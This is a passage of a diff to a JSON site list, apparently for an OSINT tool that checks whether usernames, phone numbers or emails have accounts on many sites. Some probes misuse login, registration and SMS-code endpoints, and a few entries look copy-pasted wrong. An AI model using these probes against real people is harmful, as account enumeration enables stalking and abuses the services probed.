"https://www.mercadolivre.com.br/perfil/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.mercadolivre.com.br/perfil/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "BR" + } + }, + "moikrug": { + "url": "https://moikrug.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://moikrug.ru/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://moikrug.ru/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "mstdn-io": { + "url": "https://mstdn.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mstdn.io/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mstdn.io/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nairaland-com": { + "url": "https://www.nairaland.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.nairaland.com/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.nairaland.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nnru": { + "url": "https://www.nn.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.www.nn.ru/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.www.nn.ru/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "note": { + "url": "https://note.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://note.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://note.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "npm": { + "url": "https://www.npmjs.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.npmjs.com/~%s", + "existUsername": "kennethsweezy", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.npmjs.com/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "osu!": { + "url": "https://osu.ppy.sh/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://osu.ppy.sh/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://osu.ppy.sh/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "pikabu": { + "url": "https://pikabu.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pikabu.ru/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pikabu.ru/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "pr0gramm": { + "url": "https://pr0gramm.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "304", + "url": "https://api.polarsteps.com/users/byusername/%s", + "existUsername": "Guschtl", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pr0gramm.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "queer-af": { + "url": "https://queer.af/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://queer.af/@%s", + "existUsername": "erincandescent", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://queer.af/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "satsisru": { + "url": "https://satsis.info/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://satsis.info/user/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://satsis.info/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "UA" + } + }, + "sessionize": { + "url": "https://sessionize.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://sessionize.com/%s", + "existUsername": "jason-mayes", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sessionize.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "HR" + } + }, + "skyrock": { + "url": "https://skyrock.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.skyrock.com/", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.skyrock.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "social-tchncs": { + "url": "https://social.tchncs.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://social.tchncs.de/@%s", + "existUsername": "Milan", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://social.tchncs.de/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "spletnik": { + "url": "https://spletnik.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://spletnik.ru/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://spletnik.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "svidbook": { + "url": "https://www.svidbook.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.svidbook.ru/user/%s", + "existUsername": "green", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.svidbook.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "toster": { + "url": "https://www.toster.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.toster.ru/user/%s/answers", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.toster.ru/user/%s/answers" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "uid": { + "url": "https://uid.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://uid.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://uid.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wiki-vg": { + "url": "https://wiki.vg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://wiki.vg/User:%s", + "existUsername": "Auri", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://wiki.vg/User:%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wykop-pl": { + "url": "https://wykop.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wykop.pl/ludzie/%s", + "existUsername": "janusz-nowak", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wykop.pl/ludzie/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "xhamster": { + "url": "https://xhamster.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xhamster.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xhamster.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CY" + } + }, + "znanylekarz-pl": { + "url": "https://znanylekarz.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.znanylekarz.pl/%s", + "existUsername": "janusz-nowak", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.znanylekarz.pl/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "newsmth": { + "url": "https://www.newsmth.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "0500", + "existRegex": "face_url", + "url": "https://www.newsmth.net/nForum/user/query/%s.json", + "existUsername": "TDK1", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://www.newsmth.net/nForum/user/query/%s.json" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bbspku": { + "url": "https://bbs.pku.edu.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "avatar_frame", + "url": "https://bbs.pku.edu.cn/v2/ajax/get_userinfo_by_names.php", + "existUsername": "moony", + "nonExistUsername": "youga777888", + "body": "names=\%5B\%22%s\%22\%5D", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://bbs.pku.edu.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "fishpi": { + "url": "https://fishpi.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fishpi.cn/member/%s", + "existUsername": "csfwff", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fishpi.cn/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "ali213": { + "url": "https://game.ali213.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "抱歉,您指定的用户空间不存在", + "url": "https://game.ali213.net/space-username-%s.html", + "existUsername": "freedomboy1979", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://game.ali213.net/space-username-%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "4399": { + "url": "https://www.4399.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已被注册", + "nonExistRegex": "0", + "url": "https://ptlogin.4399.com/ptlogin/isExist.do?username=%s&appId=u4399®Mode=reg_normal&v=2", + "existUsername": "123123", + "nonExistUsername": "1231pixn123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.4399.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "7k7k": { + "url": "https://web.7k7k.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "\\\\u7528\\\\u6237\\\\u5df2\\\\u5b58\\\\u5728\\\\uff01", + "nonExistRegex": "\\\\u7528\\\\u6237\\\\u540d\\\\u53ef\\\\u7528\\\\uff01", + "url": "https://web.7k7k.com/source/core_Post.php", + "existUsername": "123123", + "nonExistUsername": "1231pixn123", + "body": "param=%s&name=name", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://web.7k7k.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "doc88": { + "url": "https://www.doc88.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "1", + "nonExistRegex": "0", + "url": "https://www.doc88.com/member.php?act=check&username=%s", + "existUsername": "123123", + "nonExistUsername": "12x31pixn123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.doc88.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "huazhu": { + "url": "https://m.huazhu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "nonExistRegex": "未找到与该手机号绑定的账户", + "url": "https://m.huazhu.com/api/public/sendCodeNoLogin?param=%s", + "body": "{}", + "existUsername": "123123", + "nonExistUsername": "13188554520", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://m.huazhu.com", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "1point3acres": { + "url": "https://www.1point3acres.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "alert_error", + "url": "https://www.1point3acres.com/bbs/space-username-%s.html", + "existUsername": "luckymeteor666", + "nonExistUsername": "luckymeta123eor666", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.1point3acres.com/bbs/space-username-%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "okjike": { + "url": "https://web.okjike.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "nonExistRegex": "Expected a value of type", + "url": "https://web-api.okjike.com/api/graphql", + "body": "{\"operationName\":\"GetSmsCode\",\"variables\":{\"mobilePhoneNumber\":\"%s\",\"areaCode\":\"+86\"},\"query\":\"mutation GetSmsCode($mobilePhoneNumber: String!, $areaCode: String!) {\\n getSmsCode(action: PHONE_MIX_LOGIN, mobilePhoneNumber: $mobilePhoneNumber, areaCode: $areaCode) {\\n action\\n __typename\\n }\\n}\\n\"}\n", + "existUsername": "123123", + "nonExistUsername": "13188554520", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://web.okjike.com/", + "sleep": 10 + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + + "cstis": { + "url": "https://cstis.cn", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "email", + "nonExistRegex": "\\\\u6b64\\\\u90ae\\\\u7bb1\\\\u4e0d\\\\u5b58\\\\u5728", + "url": "https://cstis.cn/ts/getcode?email=%s&type=2", + "nonExistUsername": "13188554520@qq.com", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://cstis.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "dzone": { + "url": "https://dzone.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "exists", + "url": "https://dzone.com/services/widget/users-registration/validateUsername", + "existUsername": "Jade_Rubick", + "nonExistUsername": "Jade_Rubickaa", + "body": "{\"username\":\"%s\"}", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json", + "Accept": "application/json, text/plain, */*", + "Cookie": "TH_CSRF=8995242996830184179", + "X-Th-Csrf": "8995242996830184179" + }, + "userPage": "https://dzone.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dalao": { + "url": "https://dalao.net/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "password", + "nonExistRegex": "email", + "url": "https://dalao.net/user-login.htm", + "existUsername": "不讲李", + "nonExistUsername": "Jade_Rubickaa", + "body": "email=%s&password=4297f44b13955235245b2497399d7a93", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://dalao.net/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "medium": { + "url": "https://medium.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "<h2 class=\"fs b ft fu fv fw fx\"><span class=\"fn\">404</span></h2>", + "url": "https://medium.com/@%s", + "existUsername": "james_73717", + "nonExistUsername": "james_737171", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://medium.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "matters": { + "url": "https://matters.town/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "styles_errorMessage", + "url": "https://matters.town/@%s", + "existUsername": "LuzWu222", + "nonExistUsername": "LuzWu2221", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://matters.town/@%s", + "sleep": 3 + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "0xffff": { + "url": "https://0xffff.one/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://0xffff.one/u/%s", + "existUsername": "ryan4yin", + "nonExistUsername": "ryan4yin1x", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://0xffff.one/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "optzmx": { + "url": "http://www.optzmx.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "email", + "nonExistRegex": "succeed", + "url": "http://www.optzmx.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkemail&email=%s", + "existUsername": "admin@admin.com", + "nonExistUsername": "admin@admin.com", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.optzmx.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "qsnctf": { + "url": "https://bbs.qsnctf.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "该用户名已注册,请更换用户名", + "url": "https://bbs.qsnctf.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "6Fgenshin", + "nonExistUsername": "6Fgenshin12331", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bbs.qsnctf.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "cnodejs": { + "url": "https://cnodejs.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://cnodejs.org/user/%s", + "existUsername": "leapon", + "nonExistUsername": "leaponasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://cnodejs.org/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "react-china": { + "url": "http://react-china.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://react-china.org/u/%s", + "existUsername": "makshow", + "nonExistUsername": "makshow123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://react-china.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "xiaozhuanlan": { + "url": "https://xiaozhuanlan.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 - 小专栏", + "url": "https://xiaozhuanlan.com/u/%s", + "existUsername": "biudesign", + "nonExistUsername": "biudesignasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xiaozhuanlan.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "classcentral": { + "url": "https://www.classcentral.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.classcentral.com/@%s", + "existUsername": "jack", + "nonExistUsername": "jackrose", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Accept-Language": "en-US,en;q=0.9" + }, + "userPage": "https://www.classcentral.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "pinterest": { + "url": "https://www.pinterest.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "pinterestapp:followers", + + "url": "https://www.pinterest.com/%s/", + "existUsername": "hardlysamie", + "nonExistUsername": "hardlysasdfamie", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.pinterest.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "opensea": { + "url": "https://opensea.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://opensea.io/%s", + "existUsername": "BYOPContracts", + "nonExistUsername": "BYOPContracasdfts", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://opensea.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "instagram": { + "url": "https://www.instagram.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.instagram.com/api/v1/users/web_profile_info/?username=%s", + "existUsername": "zengshuohui", + "nonExistUsername": "zengshuohuxixasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Ig-App-Id": "936619743392459" + }, + "userPage": "https://www.instagram.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rottentomatoes": { + "url": "https://www.rottentomatoes.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.rottentomatoes.com/critics/%s/movies", + "existUsername": "kimber-myers", + "nonExistUsername": "kimber-myxxxers", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.rottentomatoes.com/critics/%s" + } + ], + "login": { + "url": 